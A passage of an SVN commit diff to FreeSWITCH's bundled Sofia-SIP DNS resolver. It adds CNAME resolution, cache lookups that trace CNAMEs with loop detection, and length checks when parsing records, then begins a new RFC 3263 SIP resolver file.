-    SU_DEBUG_5(("sres(q=%p): reporting errors for %u %s\n",
-		(void *)q, q->q_type, q->q_name));
+    if (answers == NULL) {
+      sres_cache_t *cache = q->q_res->res_cache;
 
+      status = q->q_retry_count ? SRES_TIMEOUT_ERR : SRES_NETWORK_ERR;
+
+      answers = su_zalloc(CHOME(cache), 2 * sizeof *answers);
+      if (answers)
+	answers[0] = sres_create_error_rr(cache, q, status);
+    }
+    else {
+      for (i = 0; answers[i]; i++) {
+	status = answers[i]->sr_record->r_status;
+	if (status)
+	  break;
+      }
+    }
+
+    SU_DEBUG_5(("sres(q=%p): reporting error %s for %s %s\n",
+		(void *)q,
+		sres_record_status(status, sbuf),
+		sres_record_type(q->q_type, tbuf), q->q_name));
+
     sres_remove_query(q->q_res, q, 1);
     (q->q_callback)(q->q_context, q, answers);
   }
@@ -3013,7 +3081,39 @@
   sres_query_report_error(q, NULL);
 }
 
+static void
+sres_resolve_cname(sres_resolver_t *res,
+                   sres_query_t *orig_query,
+                   char const *cname)
+{
+  sres_query_t *query;
 
+  query = sres_query_alloc(res,
+			   sres_resolving_cname,
+			   (sres_context_t *)orig_query,
+			   orig_query->q_type,
+			   cname);
+
+  if (query)
+    sres_send_dns_query(res, query);
+  else
+    sres_query_report_error(orig_query, NULL);
+}
+
+static void
+sres_resolving_cname(sres_context_t *original_query,
+		    sres_query_t *query,
+		    sres_record_t **answers)
+{
+  sres_query_t *orig = (sres_query_t *)original_query;
+
+  /* Notify the listener */
+  if (orig->q_callback != NULL)
+    (orig->q_callback)(orig->q_context, orig, answers);
+
+  sres_free_query(orig->q_res, orig);
+}
+
 /** Get a server by socket */
 static
 sres_server_t *
@@ -3069,12 +3169,6 @@
   }
 }
 
-#if HAVE_IP_RECVERR || HAVE_IPV6_RECVERR
-#include <linux/types.h>
-#include <linux/errqueue.h>
-#include <sys/uio.h>
-#endif
-
 static
 int sres_no_update(sres_async_t *async,
 		   sres_socket_t new_socket,
@@ -3393,17 +3487,37 @@
     dns->dns_edns = edns_not_supported;
     assert(query->q_id);
     sres_remove_query(res, query, 0);
-    query->q_id = sres_new_id(res);
-    query->q_hash = query->q_id * Q_PRIME;
+    sres_gen_id(res, query);
     sres_qtable_append(res->res_queries, query);
     sres_send_dns_query(res, query);
     query->q_retry_count++;
   }
   else if (!error && reply) {
-    /* Remove the query from the pending list and notify the listener */
+    /* Remove the query from the pending list */
     sres_remove_query(res, query, 1);
+
+    /* Resolve the CNAME alias, if necessary */
+    if (query->q_type != sres_type_cname && query->q_type != sres_qtype_any &&
+        reply[0] && reply[0]->sr_type == sres_type_cname) {
+      const char *alias = reply[0]->sr_cname[0].cn_cname;
+      sres_record_t **cached = NULL;
+
+      /* Check for the aliased results in the cache */
+      if (sres_cache_get(res->res_cache, query->q_type, alias, &cached)
+          > 0) {
+        reply = cached;
+      }
+      else {
+        /* Submit a query with the aliased name, dropping this result */
+        sres_resolve_cname(res, query, alias);
+        return 1;
+      }
+    }
+
+    /* Notify the listener */
     if (query->q_callback != NULL)
       (query->q_callback)(query->q_context, query, reply);
+
     sres_free_query(res, query);
   }
   else {
@@ -3430,15 +3544,17 @@
     if (from == NULL)
       ;
     else if (from->ss_family == AF_INET) {
-      struct sockaddr_in const *sin = (void *)from;
-      su_inet_ntop(AF_INET, &sin->sin_addr, host, sizeof host);
-      port = sin->sin_port;
+      struct sockaddr_in sin;
+      memcpy(&sin, from, sizeof sin);
+      su_inet_ntop(AF_INET, &sin.sin_addr, host, sizeof host);
+      port = sin.sin_port;
     }
 #if HAVE_SIN6
     else if (from->ss_family == AF_INET6) {
-      struct sockaddr_in6 const *sin6 = (void *)from;
-      su_inet_ntop(AF_INET6, &sin6->sin6_addr, host, sizeof host);
-      port = sin6->sin6_port;
+      struct sockaddr_in6 sin6;
+      memcpy(&sin6, from, sizeof sin6);
+      su_inet_ntop(AF_INET6, &sin6.sin6_addr, host, sizeof host);
+      port = sin6.sin6_port;
     }
 #endif
 
@@ -3511,7 +3627,9 @@
   if ((m->m_flags & 15) == SRES_FORMAT_ERR && query->q_edns)
     return SRES_EDNS0_ERR;
 
-  /* Scan question section */
+  /* Scan question section.
+   * XXX: never mind the useless result values, this is done
+   * for the side effects in m */
   for (i = 0; i < m->m_qdcount; i++) {
     char name[1024];
     uint16_t qtype, qclass;
@@ -3537,7 +3655,7 @@
 
   total = errorcount + m->m_ancount + m->m_nscount + m->m_arcount;
 
-  answers = su_zalloc(chome, (total + 1) * sizeof answers[0]);
+  answers = su_zalloc(chome, (total + 2) * sizeof answers[0]);
   if (!answers)
     return -1;
 
@@ -3546,7 +3664,7 @@
     if (i < errorcount)
       rr = error = sres_create_error_rr(res->res_cache, query, err);
     else
-      rr = sres_create_record(res, m);
+      rr = sres_create_record(res, m, i - errorcount);
 
     if (!rr) {
       SU_DEBUG_5(("sres_create_record: %s\n", m->m_error));
@@ -3563,12 +3681,37 @@
   }
 
   if (i < total) {
+    SU_DEBUG_5(("sres_decode_msg: got %u but expected "
+		"errors=%u an=%u ar=%u ns=%u\n", i, errorcount,
+		m->m_ancount, m->m_arcount, m->m_nscount));
     for (i = 0; i < total; i++)
       sres_cache_free_record(res->res_cache, answers[i]);
     su_free(chome, answers);
     return -1;
   }
 
+  if (m->m_ancount > 0 && errorcount == 0 && query->q_type < sres_qtype_tsig
+      && (query->q_callback == sres_resolving_cname ||
+	  answers[0]->sr_type != sres_type_cname)) {
+
+    for (i = 0; i < m->m_ancount; i++) {
+      if (query->q_type == answers[i]->sr_type)
+	break;
+    }
+
+    if (i == m->m_ancount) {
+      char b0[8], b1[8];
+      /* The queried request was not found */
+      SU_DEBUG_5(("sres_decode_msg: sent query %s, got %s\n",
+		  sres_record_type(query->q_type, b0),
+		  sres_record_type(answers[0]->sr_type, b1)));
+      rr = sres_create_error_rr(res->res_cache, query, err = SRES_RECORD_ERR);
+      memmove(answers + 1, answers, (sizeof answers[0]) * total++);
+      answers[0] = rr;
+      errorcount = 1;
+    }
+  }
+
   for (i = 0; i < total; i++) {
     rr = answers[i];
 
@@ -3589,14 +3732,14 @@
 
 static
 sres_record_t *
-sres_create_record(sres_resolver_t *res, sres_message_t *m)
+sres_create_record(sres_resolver_t *res, sres_message_t *m, int nth)
 {
   sres_cache_t *cache = res->res_cache;
   sres_record_t *sr, sr0[1];
 
   uint16_t m_size;
   char name[1025];
-  int len;
+  unsigned len;
   char btype[8], bclass[8];
 
   sr = memset(sr0, 0, sizeof sr0);
@@ -3609,10 +3752,17 @@
   sr->sr_parsed = 1;
   if (m->m_error)
     goto error;
-
+  if (len >= (sizeof name)) {
+    m->m_error = "too long domain name in record";
+    goto error;
+  }
   name[len] = 0;
 
-  SU_DEBUG_9(("RR received %s %s %s %d rdlen=%d\n", name,
+  SU_DEBUG_9(("%s RR received %s %s %s %d rdlen=%d\n",
+	      nth < m->m_ancount ? "ANSWER" :
+	      nth < m->m_ancount + m->m_nscount ? "AUTHORITY" :
+	      "ADDITIONAL",
+	      name,
 	      sres_record_type(sr->sr_type, btype),
 	      sres_record_class(sr->sr_class, bclass),
 	      sr->sr_ttl, sr->sr_rdlen));
@@ -3685,7 +3835,7 @@
 				       sres_message_t *m)
 {
   uint16_t moffset, roffset;
-  int mnamelen, rnamelen;
+  unsigned mnamelen, rnamelen;
 
   soa->soa_record->r_size = sizeof *soa;
 
@@ -3737,8 +3887,8 @@
 				      sres_message_t *m)
 {
 
-  int suffixlen = 0, i;
-  int prefixlen = 0;
+  unsigned suffixlen = 0, i;
+  unsigned prefixlen = 0;
   uint16_t offset;
 
   a6->a6_record->r_size = sizeof *a6;
@@ -3795,7 +3945,7 @@
 					 sres_message_t *m)
 {
   uint16_t offset;
-  int dlen;
+  unsigned dlen;
 
   cn->cn_record->r_size = sizeof *cn;
 
@@ -3817,7 +3967,7 @@
 				       sres_message_t *m)
 {
   uint16_t offset;
-  int dlen;
+  unsigned dlen;
 
   ptr->ptr_record->r_size = sizeof *ptr;
 
@@ -3839,7 +3989,7 @@
 				       sres_message_t *m)
 {
   uint16_t offset;
-  int dlen;
+  unsigned dlen;
 
   srv->srv_record->r_size = sizeof *srv;
 
@@ -3863,7 +4013,7 @@
 					 sres_message_t *m)
 {
   uint16_t offset[4];
-  int len[4];
+  unsigned len[4];
 
   na->na_record->r_size = sizeof *na;
 
@@ -4105,10 +4255,11 @@
 /**
  * Get a string.
  */
-static int m_get_string(char *d,
-			int n,
-			sres_message_t *m,
-			uint16_t offset)
+static unsigned
+m_get_string(char *d,
+	     unsigned n,
+	     sres_message_t *m,
+	     uint16_t offset)
 {
   uint8_t size;
   uint8_t *p = m->m_data;
@@ -4150,13 +4301,14 @@
  *
  * @param offset start uncompression from this point in message
  */
-static int m_get_domain(char *d,
-			int n,
-			sres_message_t *m,
-			uint16_t offset)
+static unsigned
+m_get_domain(char *d,
+	     unsigned n,
+	     sres_message_t *m,
+	     uint16_t offset)
 {
   uint8_t cnt;
-  int i = 0;
+  unsigned i = 0;
   uint8_t *p = m->m_data;
   uint16_t new_offset;
   int save_offset;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_cache.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_cache.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_cache.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -64,6 +64,7 @@
 
 #include <sofia-sip/su_alloc.h>
 #include <sofia-sip/su_strlst.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/htable.h>
 #include <sofia-sip/heap.h>
 
@@ -130,6 +131,8 @@
 void _sres_cache_free_one(sres_cache_t *cache, sres_record_t *answer);
 su_inline
 void _sres_cache_free_answers(sres_cache_t *cache, sres_record_t **answers);
+su_inline sres_record_t **_sres_cache_copy_answers(
+  sres_cache_t *, sres_record_t **);
 
 static unsigned sres_hash_key(const char *string);
 
@@ -168,15 +171,94 @@
   su_home_unref(cache->cache_home);
 }
 
+struct frame {
+  struct frame *previous;
+  char const *domain;
+};
+
+/** Count or get matching records from cache */
+static int
+sres_cache_get0(sres_htable_t *htable,
+		sres_rr_hash_entry_t **iter,
+		uint16_t type,
+		char const *domain,
+		time_t now,
+		sres_record_t **cached,
+		int len,
+		struct frame *previous)
+{
+  sres_cname_record_t *cname = NULL;
+  int dcount = 0, derrorcount = 0, ccount = 0;
+
+  for (; iter && *iter; iter = sres_htable_next(htable, iter)) {
+    sres_record_t *rr = (*iter)->rr;
+
+    if (rr == NULL)
+      continue;
+    if (now > (*iter)->rr_expires)
+      continue;
+    if (rr->sr_name == NULL)
+      continue;
+    if (!su_casematch(rr->sr_name, domain))
+      continue;
+
+    if (rr->sr_type == type || type == sres_qtype_any) {
+      if (rr->sr_status == SRES_RECORD_ERR && type == sres_qtype_any)
+	continue;
+      if (cached) {
+	if (dcount >= len)
+	  return -1;
+	cached[dcount] = rr, rr->sr_refcount++;
+      }
+      dcount++;
+      if (rr->sr_status)
+	derrorcount++;
+    }
+
+    if (type != sres_type_cname && rr->sr_type == sres_type_cname) {
+      if (rr->sr_status == 0)
+	cname = rr->sr_cname;
+    }
+  }
+
+  if (cname && dcount == derrorcount) {
+    /* Nothing found, trace CNAMEs */
+    unsigned hash;
+    struct frame *f, frame;
+    frame.previous = previous;
+    frame.domain = domain;
+
+    hash = sres_hash_key(domain = cname->cn_cname);
+
+    /* Check for cname loops */
+    for (f = previous; f; f = f->previous) {
+      if (su_casematch(domain, f->domain))
+	break;
+    }
+
+    if (f == NULL) {
+      ccount = sres_cache_get0(htable, sres_htable_hash(htable, hash),
+			       type, domain, now,
+			       cached ? cached + dcount : NULL,
+			       cached ? len - dcount : 0,
+			       &frame);
+    }
+    if (ccount < 0)
+      return ccount;
+  }
+
+  return dcount + ccount;
+}
+
 /** Get a list of matching records from cache. */
 int sres_cache_get(sres_cache_t *cache,
 		   uint16_t type,
 		   char const *domain,
 		   sres_record_t ***return_cached)
 {
-  sres_record_t **result = NULL, *rr = NULL;
-  sres_rr_hash_entry_t **rr_iter, **rr_iter2;
-  int result_size, rr_count = 0;
+  sres_record_t **result = NULL;
+  sres_rr_hash_entry_t **slot;
+  int result_size, i, j;
   unsigned hash;
   time_t now;
   char b[8];
@@ -197,28 +279,16 @@
   time(&now);
 
   /* First pass: just count the number of rr:s for array allocation */
-  rr_iter2 = sres_htable_hash(cache->cache_hash, hash);
+  slot = sres_htable_hash(cache->cache_hash, hash);
 
-  /* Find the domain records from the hash table */
-  for (rr_iter = rr_iter2;
-       rr_iter && *rr_iter;
-       rr_iter = sres_htable_next(cache->cache_hash, rr_iter)) {
-    rr = (*rr_iter)->rr;
-
-    if (rr != NULL &&
-	now <= (*rr_iter)->rr_expires &&
-        (type == sres_qtype_any || rr->sr_type == type) &&
-        rr->sr_name != NULL &&
-        strcasecmp(rr->sr_name, domain) == 0)
-      rr_count++;
-  }
-
-  if (rr_count == 0) {
+  i = sres_cache_get0(cache->cache_hash, slot, type, domain, now,
+		      NULL, 0, NULL);
+  if (i <= 0) {
     UNLOCK(cache);
     return 0;
   }
 
-  result_size = (sizeof *result) * (rr_count + 1);
+  result_size = (sizeof *result) * (i + 1);
   result = su_zalloc(cache->cache_home, result_size);
   if (result == NULL) {
     UNLOCK(cache);
@@ -226,35 +296,30 @@
   }
 
   /* Second pass: add the rr pointers to the allocated array */
-
-  for (rr_iter = rr_iter2, rr_count = 0;
-       rr_iter && *rr_iter;
-       rr_iter = sres_htable_next(cache->cache_hash, rr_iter)) {
-    rr = (*rr_iter)->rr;
-
-    if (rr != NULL &&
-	now <= (*rr_iter)->rr_expires &&
-        (type == sres_qtype_any || rr->sr_type == type) &&
-        rr->sr_name != NULL &&
-        strcasecmp(rr->sr_name, domain) == 0) {
-      SU_DEBUG_9(("rr found in cache: %s %02d\n",
-		  rr->sr_name, rr->sr_type));
-
-      result[rr_count++] = rr;
-      rr->sr_refcount++;
+  j = sres_cache_get0(cache->cache_hash, slot, type, domain, now,
+		      result, i, NULL);
+  if (i != j) {
+    /* Uh-oh. */
+    SU_DEBUG_9(("%s(%p, %s, \"%s\") got %d != %d\n", "sres_cache_get",
+		(void *)cache, sres_record_type(type, b), domain, i, j));
+    for (i = 0; i < result_size; i++) {
+      if (result[i])
+	result[i]->sr_refcount--;
     }
+    su_free(cache->cache_home, result);
+    return 0;
   }
 
-  result[rr_count] = NULL;
+  result[i] = NULL;
 
   UNLOCK(cache);
 
   SU_DEBUG_9(("%s(%p, %s, \"%s\") returned %d entries\n", "sres_cache_get",
-	      (void *)cache, sres_record_type(type, b), domain, rr_count));
+	      (void *)cache, sres_record_type(type, b), domain, i));
 
   *return_cached = result;
 
-  return rr_count;
+  return i;
 }
 
 sres_record_t *
@@ -335,7 +400,7 @@
     if (!!or->sr_name != !!rr->sr_name)
       continue;
     if (or->sr_name != rr->sr_name &&
-	strcasecmp(or->sr_name, rr->sr_name) != 0)
+	!su_casematch(or->sr_name, rr->sr_name))
       continue;
     if (rr->sr_type != sres_type_soa /* There can be only one */
 	&& sres_record_compare(or, rr))
@@ -391,6 +456,20 @@
   }
 }
 
+/** Copy the list of records. */
+sres_record_t **
+sres_cache_copy_answers(sres_cache_t *cache, sres_record_t **answers)
+{
+  sres_record_t **copy = NULL;
+
+  if (answers && LOCK(cache)) {
+    copy = _sres_cache_copy_answers(cache, answers);
+    UNLOCK(cache);
+  }
+
+  return copy;
+}
+
 /* ---------------------------------------------------------------------- */
 /* Private functions */
 
@@ -421,6 +500,29 @@
   }
 }
 
+su_inline sres_record_t **
+_sres_cache_copy_answers(sres_cache_t *cache, sres_record_t **answers)
+{
+  int i, n;
+  sres_record_t **copy;
+
+  for (n = 0; answers[n] != NULL; n++)
+    ;
+
+  copy = su_alloc(cache->cache_home, (n + 1) * (sizeof *copy));
+  if (copy == NULL)
+    return NULL;
+
+  for (i = 0; i < n; i++) {
+    copy[i] = answers[i];
+    copy[i]->sr_refcount++;
+  }
+
+  copy[i] = NULL;
+
+  return copy;
+}
+
 /** Calculate a hash key for a string */
 static
 unsigned
@@ -437,7 +539,13 @@
   return result;
 }
 
-/** Remove entries from cache. */
+/** Remove old records from cache.
+ *
+ * Remove entries older than @a now from the cache.
+ *
+ * @param cache    pointer to DNS cache object
+ * @param now      remove older than this time
+ */
 void sres_cache_clean(sres_cache_t *cache, time_t now)
 {
   size_t i;
@@ -520,13 +628,13 @@
 
     if (rr && rr->sr_name &&
 	sres_type_srv == rr->sr_type &&
-	strcasecmp(rr->sr_name, domain) == 0) {
+	su_casematch(rr->sr_name, domain)) {
 
       (*iter)->rr_expires = expires;
 
       if ((port == 0 || rr->sr_srv->srv_port == port) &&
 	  rr->sr_srv->srv_target &&
-	  strcasecmp(rr->sr_srv->srv_target, target) == 0) {
+	  su_casematch(rr->sr_srv->srv_target, target)) {
 	/* record found --> change priority of server */
 	rr->sr_srv->srv_priority = priority;
 	ret++;

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_sip.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_sip.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_sip.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres_sip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1694 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2007 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE sres_sip.c
+ * @brief RFC3263 SIP Resolver
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @sa
+ * @RFC3263
+ */
+
+#include "config.h"
+
+struct sres_sip_tport;
+struct srs_step;
+struct srs_hint;
+struct sres_sip_s;
+
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/hostdomain.h>
+#include <sofia-sip/url.h>
+#include <sofia-sip/su_errno.h>
+#include <sofia-sip/su.h>
+
+#define SRES_CONTEXT_T    struct srs_step
+
+#include <sofia-sip/su_uniqueid.h>
+#include "sofia-sip/sres_sip.h"
+#include "sofia-resolv/sres.h"
+#include "sofia-resolv/sres_record.h"
+
+#include <stddef.h>
+#include <stdlib.h>
+#include <assert.h>
+#include <errno.h>
+
+#define SU_LOG sresolv_log
+
+#include <sofia-sip/su_debug.h>
+
+/**
+ * For each transport, we have name used by tport module, SRV prefixes used
+ * for resolving, and NAPTR service/conversion.
+ */
+struct sres_sip_tport {
+  int stp_type;		/**< Default protocol for this URL type */
+  uint16_t stp_number;	/**< Protocol number used by tport module */
+  uint16_t stp_port;	/**< Default port number */
+  char stp_name[6];	/**< Named used by tport module */
+  char stp_prefix[14];	/**< Prefix for SRV domains */
+  char stp_service[10];	/**< NAPTR service (empty if none) */
+};
+
+#define N_TRANSPORTS 20
+
+static struct sres_sip_tport const sres_sip_tports[N_TRANSPORTS] = {
+  { url_sip, TPPROTO_UDP, 5060, "udp", "_sip._udp.",  "SIP+D2U"  },
+  { url_sip, TPPROTO_TCP, 5060, "tcp", "_sip._tcp.",  "SIP+D2T"  },
+  { url_sips, TPPROTO_TLS, 5061, "tls", "_sips._tcp.", "SIPS+D2T" },
+  { url_any, TPPROTO_SCTP, 5060, "sctp", "_sip._sctp.", "SIP+D2S" },
+};
+
+struct srs_step;
+struct srs_hint;
+
+struct sres_sip_s
+{
+  su_home_t             srs_home[1];
+  sres_resolver_t      *srs_resolver;
+
+  sres_sip_notify_f    *srs_callback;
+  sres_sip_magic_t     *srs_magic;
+
+  /* What we are resolving */
+  url_t                *srs_url;
+
+  /* Parsed */
+  char const           *srs_target;
+  short                 srs_maddr;
+  short                 srs_transport;  /**< URL-specified transport protocol */
+  uint16_t              srs_port;
+
+  int                   srs_error;
+
+  /** Resolving steps (to take) */
+  struct srs_step *srs_head, **srs_queue; /**< List of subqueries */
+  struct srs_step **srs_process;	  /**< Next result to process  */
+  struct srs_step **srs_send;		  /**< Next query to make */
+
+  /** Results */
+  su_addrinfo_t *srs_results, **srs_next, **srs_tail;
+
+  unsigned srs_try_naptr:1, srs_try_srv:1, srs_try_a:1;
+  unsigned srs_canonname:1, srs_numeric:1;
+
+  unsigned srs_blocking:1, srs_complete:1, :0;
+
+  /** Hints for this request. */
+  struct srs_hint {
+    struct sres_sip_tport const *hint_stp;
+    uint16_t hint_qtype;
+    uint16_t hint_port;
+  } srs_hints[2 * N_TRANSPORTS + 2];
+  /* srs_hints[0] is ignored, srs_hints[2*N_TRANSPORTS + 1] is sentinel. */
+};
+
+/** Intermediate steps */
+struct srs_step
+{
+  struct srs_step *sp_next;
+  sres_sip_t *sp_srs;		/**< Backpointer */
+  struct srs_step *sp_already;   /**< Step with identical query
+				    - itself if first one */
+  struct srs_step *sp_trace;	  /**< Step that resulted in this step */
+  sres_record_t const *sp_origin; /**< DNS record that resulted in this step */
+
+  char const *sp_target;
+  sres_query_t *sp_query;
+
+  /** Query status.
+   *
+   * STEP_NEW (-4) when created,
+   * STEP_QUEUED (-3) when queued,
+   * STEP_CACHED (-2) when found cached response
+   * STEP_SENT (-1) when query has been sent
+   * (positive) status from response otherwise
+   */
+  int sp_status;
+
+  sres_record_t **sp_results;
+
+  uint16_t sp_hint;	        /* Number of hint */
+
+  uint16_t sp_port;		/* port number */
+  uint16_t sp_type;		/* query type */
+  uint16_t sp_prefer;		/* order */
+  uint16_t sp_priority;		/* priority */
+  uint16_t sp_weight;		/* weight */
+
+  uint16_t sp_grayish;		/* candidate for graylisting */
+};
+
+#define SP_HINT(sp) ((sp)->sp_hint ? &(sp)->sp_srs[sp->sp_hint] : NULL)
+#define SP_STP(sp) ((sp)->sp_hint ? (sp)->sp_srs[sp->sp_hint].hint_stp : NULL);
+
+enum {
+  STEP_NEW = -4,
+  STEP_QUEUED = -3,
+  STEP_CACHED = -2,
+  STEP_SENT = -1,
+  STEP_OK = 0
+};
+
+static void _sres_sip_destruct(void *_srs);
+static sres_sip_t *sres_sip_fatal(sres_sip_t *srs, int error);
+static void sres_sip_hint(sres_sip_t *srs, int qtype, int protocol);
+static int sres_sip_url_transport(url_t const *uri);
+static char const *sres_sip_transport_name(int number);
+void sres_sip_graylist(sres_sip_t *srs, struct srs_step *step);
+
+static int sres_sip_is_waiting(sres_sip_t const *srs);
+static void sres_sip_return_results(sres_sip_t *srs, int final);
+
+static void sres_sip_try_next_steps(sres_sip_t *srs);
+static void sres_sip_try_naptr_steps(sres_sip_t *srs);
+static void sres_sip_try_srv_steps(sres_sip_t *srs);
+static void sres_sip_try_a_aaaa_steps(sres_sip_t *srs);
+
+static struct srs_step *sres_sip_step_new(
+  sres_sip_t *srs,
+  int type,
+  char const *prefix,
+  char const *domain);
+
+static void sres_sip_append_step(sres_sip_t *srs,
+				 struct srs_step *step);
+
+static void sres_sip_insert_step(sres_sip_t *srs,
+				 struct srs_step *step);
+
+static int sres_sip_send_steps(sres_sip_t *srs);
+static void sres_sip_answer(struct srs_step *step,
+			    sres_query_t *q,
+			    sres_record_t *answers[]);
+static int sres_sip_status_of_answers(sres_record_t *answers[], uint16_t type);
+static int sres_sip_count_answers(sres_record_t *answers[], uint16_t type);
+static void sres_sip_log_answers(sres_sip_t *srs,
+				 struct srs_step *step,
+				 sres_record_t *answers[]);
+
+static int sres_sip_process(sres_sip_t *srs);
+
+static void sres_sip_process_naptr(sres_sip_t *srs,
+				   struct srs_step *nq,
+				   sres_record_t *answers[]);
+static void sres_sip_sort_naptr(sres_record_t *answers[]);
+
+static void sres_sip_step_by_naptr(sres_sip_t *srs,
+				  struct srs_step *,
+				  uint16_t hint,
+				  sres_naptr_record_t const *na);
+
+static void sres_sip_process_srv(sres_sip_t *srs,
+				 struct srs_step *nq,
+				 sres_record_t *answers[]);
+
+static void sres_sip_sort_srv(sres_record_t *answers[]);
+
+#if SU_HAVE_IN6
+static void sres_sip_process_aaaa(sres_sip_t *srs, struct srs_step *,
+				  sres_record_t *answers[]);
+#endif
+static void sres_sip_process_a(sres_sip_t *srs, struct srs_step *,
+			       sres_record_t *answers[]);
+
+static void sres_sip_process_cname(sres_sip_t *srs,
+				   struct srs_step *step0,
+				   sres_record_t *answers[]);
+
+static void sres_sip_process_numeric(sres_sip_t *srs);
+
+static void sres_sip_append_result(sres_sip_t *srs,
+				   su_addrinfo_t const *result);
+
+/** Resolve a SIP uri.
+ *
+ */
+sres_sip_t *
+sres_sip_new(sres_resolver_t *sres,
+	     url_string_t const *uri,
+	     su_addrinfo_t const *hints,
+	     int naptr, int srv,
+	     sres_sip_notify_f *callback,
+	     sres_sip_magic_t *magic)
+{
+  sres_sip_t *srs;
+  url_t *u;
+  char const *target, *port;
+  su_addrinfo_t const hints0 = { 0 };
+  int numeric;
+  int transport;
+  isize_t maddr;
+
+  if (sres == NULL || uri == NULL)
+    return su_seterrno(EFAULT), NULL;
+
+  srs = su_home_new(sizeof *srs);
+  if (srs == NULL)
+    return NULL;
+
+  srs->srs_queue = srs->srs_send = srs->srs_process = &srs->srs_head;
+  srs->srs_next = srs->srs_tail = &srs->srs_results;
+
+  su_home_destructor(srs->srs_home, _sres_sip_destruct);
+
+  srs->srs_url = u = url_hdup(srs->srs_home, (url_t *)uri);
+  if (u == NULL)
+    return sres_sip_fatal(srs, SRES_SIP_ERR_BAD_URI);
+  if (u->url_type != url_sip && u->url_type != url_sips)
+    return sres_sip_fatal(srs, SRES_SIP_ERR_BAD_URI);
+
+  /* RFC 3263:
+   We define TARGET as the value of the maddr parameter of the URI, if
+   present, otherwise, the host value of the hostport component of the
+   URI.
+  */
+  maddr = url_param(u->url_params, "maddr=", NULL, 0);
+
+  if (maddr) {
+    target = su_alloc(srs->srs_home, maddr);
+    url_param(u->url_params, "maddr=", (char *)target, maddr);
+  }
+  else {
+    target = u->url_host;
+  }
+
+  if (!target)
+    return sres_sip_fatal(srs, SRES_SIP_ERR_BAD_URI);
+
+  srs->srs_target = target;
+  srs->srs_maddr = maddr != 0;
+  port = u->url_port;
+
+  srs->srs_transport = transport = sres_sip_url_transport(u);
+  if (transport == -1)
+    return sres_sip_fatal(srs, SRES_SIP_ERR_NO_TPORT);
+
+  if (transport && u->url_type == url_sips)
+    /* <sips:host.domain;transport=tcp> */
+    srs->srs_transport = transport | TPPROTO_SECURE;
+
+  numeric = host_is_ip_address(target);
+
+  if (numeric) {
+    naptr = 0, srv = 0;
+    if (!port || !strlen(port))
+      port = url_port_default((enum url_type_e)u->url_type);
+  }
+
+  /* RFC 3263:
+     If the TARGET was not a numeric IP address, but a port is present in
+     the URI, the client performs an A or AAAA record lookup of the domain
+     name.  The result will be a list of IP addresses, each of which can
+     be contacted at the specific port from the URI and transport protocol
+     determined previously.  The client SHOULD try the first record.  If
+     an attempt should fail, based on the definition of failure in Section
+     4.3, the next SHOULD be tried, and if that should fail, the next
+     SHOULD be tried, and so on.
+
+     This is a change from RFC 2543.  Previously, if the port was
+     explicit, but with a value of 5060, SRV records were used.  Now, A
+     or AAAA records will be used.
+  */
+  if (port && strlen(port)) {
+    unsigned long number;
+    naptr = 0, srv = 0;
+    srs->srs_port = number = strtoul(port, 0, 10);
+    if (number == 0 || number >= 65536)
+      return sres_sip_fatal(srs, SRES_SIP_ERR_BAD_URI);
+  }
+
+  if (hints == NULL)
+    hints = &hints0;
+
+  srs->srs_canonname = (hints->ai_flags & AI_CANONNAME) != 0;
+  srs->srs_numeric = (hints->ai_flags & AI_NUMERICHOST) != 0;
+
+  srs->srs_resolver = sres_resolver_ref(sres);
+  srs->srs_blocking = sres_is_blocking(sres);
+
+  srs->srs_try_srv = srv;
+  srs->srs_try_naptr = naptr;
+  srs->srs_try_a = !numeric;
+
+  for (;hints; hints = hints->ai_next) {
+#if SU_HAVE_IN6
+    if (hints->ai_family == 0 || hints->ai_family == AF_INET6) {
+      sres_sip_hint(srs, sres_type_aaaa, hints->ai_protocol);
+    }
+#endif
+    if (hints->ai_family == 0 || hints->ai_family == AF_INET) {
+      sres_sip_hint(srs, sres_type_a, hints->ai_protocol);
+    }
+  }
+
+  SU_DEBUG_5(("srs(%p): resolving <%s:%s%s%s%s%s%s%s>\n",
+	      (void *)srs,
+	      u->url_scheme, u->url_host,
+	      u->url_port ? ":" : "", u->url_port ? u->url_port : "",
+	      maddr ? ";maddr=" : "",
+	      maddr ? target : "",
+	      transport ? ";transport=" : "",
+	      transport ? sres_sip_transport_name(transport) : ""));
+
+  if (numeric)
+    sres_sip_process_numeric(srs);
+  else
+    sres_sip_next_step(srs);
+
+  srs->srs_callback = callback;
+  srs->srs_magic = magic;
+
+  return srs;
+}
+
+sres_sip_t *
+sres_sip_ref(sres_sip_t *srs)
+{
+  return (sres_sip_t *)su_home_ref(srs->srs_home);
+}
+
+void
+sres_sip_unref(sres_sip_t *srs)
+{
+  su_home_unref(srs->srs_home);
+}
+
+static void
+_sres_sip_destruct(void *_srs)
+{
+  sres_sip_t *srs = _srs;
